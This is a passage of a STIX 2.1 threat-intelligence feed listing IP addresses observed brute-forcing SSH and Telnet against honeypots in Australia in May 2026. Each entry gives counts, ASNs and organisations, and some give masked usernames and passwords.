      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--605193a0-4e31-4c44-b1c2-1acecfcaa745",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.105.212.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 419. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, w*******d, f****e, g***l. Passwords observed (masked): 3***********4, 3**********4, !*******E, $******b, 0**********!.",
      "id": "indicator--34001397-bfaa-45fa-9f78-c168d54bd0b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.133.39.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 318. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, a****i, a******n, ***. Passwords observed (masked): 3***********4, 3**********4, 0********9, 0**********!, ***.",
      "id": "indicator--c1c60330-35b9-4324-a004-4aa8b7fe079c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.82.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 419. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, w*******d, f****e, g***l. Passwords observed (masked): 3***********4, 3**********4, !*******E, $******b, 0**********!.",
      "id": "indicator--5cc51227-7ea4-40bd-8bb6-44c62a91b8dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.135.168.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 348. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, f****e, g***l, ***. Passwords observed (masked): 3***********4, 3**********4, !*******E, $******b, 0**********!.",
      "id": "indicator--a622bc16-e3b5-4916-8301-2ab92ef63838",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.173.68.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--6237d944-8189-454c-9add-ea50f67e8ee4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.173.133.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T14:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 348. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3209. Organisation(s): Vodafone GmbH. Usernames observed (masked): r**t, 3**********4, a****i, a******n, ***. Passwords observed (masked): 3***********4, 3**********4, 0********9, 0**********!, *.",
      "id": "indicator--f56dda76-192d-40e7-8f82-6d49c216e93a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T14:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.90.13.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T14:15:15.000Z",
      "valid_until": "2026-06-17T14:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 412. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !*******(, 1******Z, 2******9.",
      "id": "indicator--bac56965-bd30-428b-bf7c-ea87f4f293e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.117.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--dede769b-33e6-43e2-98fb-4811c80f3f88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.132.195.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--45cd9b88-4452-4736-92e7-1d8440ba027b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.190.211.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, r**u, r*********n, t*****s.",
      "id": "indicator--e9a2ca70-689d-42f2-9d1c-619e78763d5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.156.198.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 412. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !*******(, 1******Z, 2******9.",
      "id": "indicator--136beabe-3778-4656-8de2-97b5d23088cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.172.73.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--e339dba5-1b04-4390-82b5-51de7863058d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.137.121.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273155. Organisation(s): DATANET VZLA 2021, C.A.",
      "id": "indicator--b6e2f696-2470-481b-b419-ef2b6d2312a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.137.178.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 12091. Organisation(s): MTNNS-1.",
      "id": "indicator--9b3d7e0d-692c-4875-891e-00151a0961ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.116.235.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 412. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !*******(, 1******Z, 2******9.",
      "id": "indicator--dc18b52a-86a9-452c-93a8-e9f28e1718e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.17.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 300. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !*******(, 2******9, 2**9.",
      "id": "indicator--786acb2c-2ce2-46a9-aab8-84e1c26dceb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.173.125.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--30b43fe2-ee1b-4799-b868-cf7be8d237a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LB. ASN(s): 207493. Organisation(s): GE-net sarl.",
      "id": "indicator--708cf912-69f6-41bd-891f-3ec91899c017",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.231.193.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:15:10.000Z",
      "valid_until": "2026-06-17T15:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): r**t, 3**********4, a***n, a***********r, i*****l. Passwords observed (masked): 3***********4, 3**********4, 1**********, 2******9, I***********************4.",
      "id": "indicator--a43feeea-a2d8-4a8e-928c-5b525b8a1c58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.82.21.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): W*******@.",
      "id": "indicator--0992226f-629e-4951-9f69-3130f3cadd29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.13.96.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc.. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, A******6, e********d.",
      "id": "indicator--9d3fb2cb-9b12-4dc4-ad89-8cdbf3da27d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.19.109.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******8, 1**0, 2******9, 3***********4, 3**********4.",
      "id": "indicator--1291ecda-6d63-4927-acc7-d3eff88894a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.28.114.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--8844ca6d-5027-4cbd-9334-7e5b528a1a33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.96.50.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--f17538a5-c949-4678-b8a5-e71565ac753c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.97.137.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16591. Organisation(s): Google Fiber Inc.. Usernames observed (masked): r**t, o***r, 3**********4, m****r. Passwords observed (masked): 1****5, 3***********4, 3**********4, T*********3, a*******1.",
      "id": "indicator--7d5af64d-dfdf-4084-bdb9-400aa9c83efc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.50.155.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--da47d4bf-a690-463f-8baf-e3b8002a1752",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.59.104.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 319. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t, 3**********4, u******e, a***r, c*******a. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******4, ***.",
      "id": "indicator--d0226bff-bb63-4a61-adbc-ff75a58f5790",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.177.234.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 414. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 142271. Organisation(s): EWS DS Networks Inc. Usernames observed (masked): r**t, 3**********4, **, u******e, a***n. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******4, ***.",
      "id": "indicator--ac104f60-08a8-4474-a355-88821c5396bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.18.197.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--78c2c28c-3d12-4980-8e88-d413fd684dfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.101.149.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 202790. Organisation(s): Netwifi Iletisim Hizmetleri Ltd. Sti..",
      "id": "indicator--50507dd9-c52b-4883-ba9a-1a98d7d73972",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.152.127.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 1257. Organisation(s): Tele2 SWIPnet.",
      "id": "indicator--cec3c81e-af40-4179-82f0-4013898d0b67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.150.247.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 32647. Organisation(s): Crucial Web Hosting, Ltd..",
      "id": "indicator--b8f6504c-195a-4dd0-b9d4-bfed5bd5d6d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.91.30.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
      "valid_until": "2026-06-17T16:15:08.000Z"
    },
    {
      "created": "2026-05-16T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, s******n. Passwords observed (masked): 3***********4, 3**********4, 1**********, 2******9, A********$.",
      "id": "indicator--01bc310a-bc57-4182-96fc-8efdf4f1f9ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.90.155.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:15:10.000Z",
